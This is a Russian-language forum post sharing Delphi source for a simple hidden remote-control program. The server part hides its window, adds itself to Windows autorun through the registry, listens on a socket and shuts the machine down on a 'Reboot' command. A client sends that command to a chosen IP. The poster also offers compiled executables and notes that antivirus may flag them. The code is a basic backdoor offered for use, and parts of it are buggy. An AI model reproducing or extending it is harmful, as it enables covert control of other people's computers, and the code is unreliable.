Показать сообщение отдельно

  #6  
Старый 07.11.2008, 01:00
Gulik
Новичок
Регистрация: 15.03.2007
Сообщений: 20
Провел на форуме:
133734

Репутация: 19
Отправить сообщение для Gulik с помощью ICQ
По умолчанию

Полные исходники:


Нужно Form1 убрать из Avto Create
Сервер
Код:
program Intersec;

uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
   var
      WhEvent : THandle; 
begin
   Application.Initialize;
   ShowWindow(Application.Handle,SW_HIDE);
   Form1:=TForm1.Create(nil);
   Application.Run;
   WhEvent:=CreateEvent(nil, true, false, 'et');
   while (true) do begin
      WaitForSingleObject(WhEvent, 1000);
      Application.ProcessMessages;
   end;
end.
Код:
unit Unit1;

interface

uses
  Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
   var
      RegIni : TRegIniFile;
begin
   RegIni:=TRegIniFile.Create('Software');
   RegIni.RootKey:=HKEY_LOCAL_MACHINE;
   RegIni.OpenKey('Software', true);
   RegIni.OpenKey('Microsoft', true);
   RegIni.OpenKey('Windows', true);
   RegIni.OpenKey('CurrentVersion', true);
   RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
   RegIni.Free;  
   ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   ServerSocket1.Active:=False;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
   var
      s: String;
begin
   s:= Socket.ReceiveText;
   if s='Reboot' then
      ExitWindowsEx(EWX_SHUTDOWN, 0);  // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;

end.
Клинет:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    ClientSocket1: TClientSocket;
    Label1: TLabel;
    Edit2: TEdit;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
   ClientSocket1.Address:=Edit1.Text;
   ClientSocket1.Active:=True;
   ClientSocket1.Socket.SendText(Edit2.Text);
   ClientSocket1.Active:=False;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   if ClientSocket1.Active then
      ClientSocket1.Active:=False;
end;

end.
Так же можно скачать размер 384.93 KB

В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.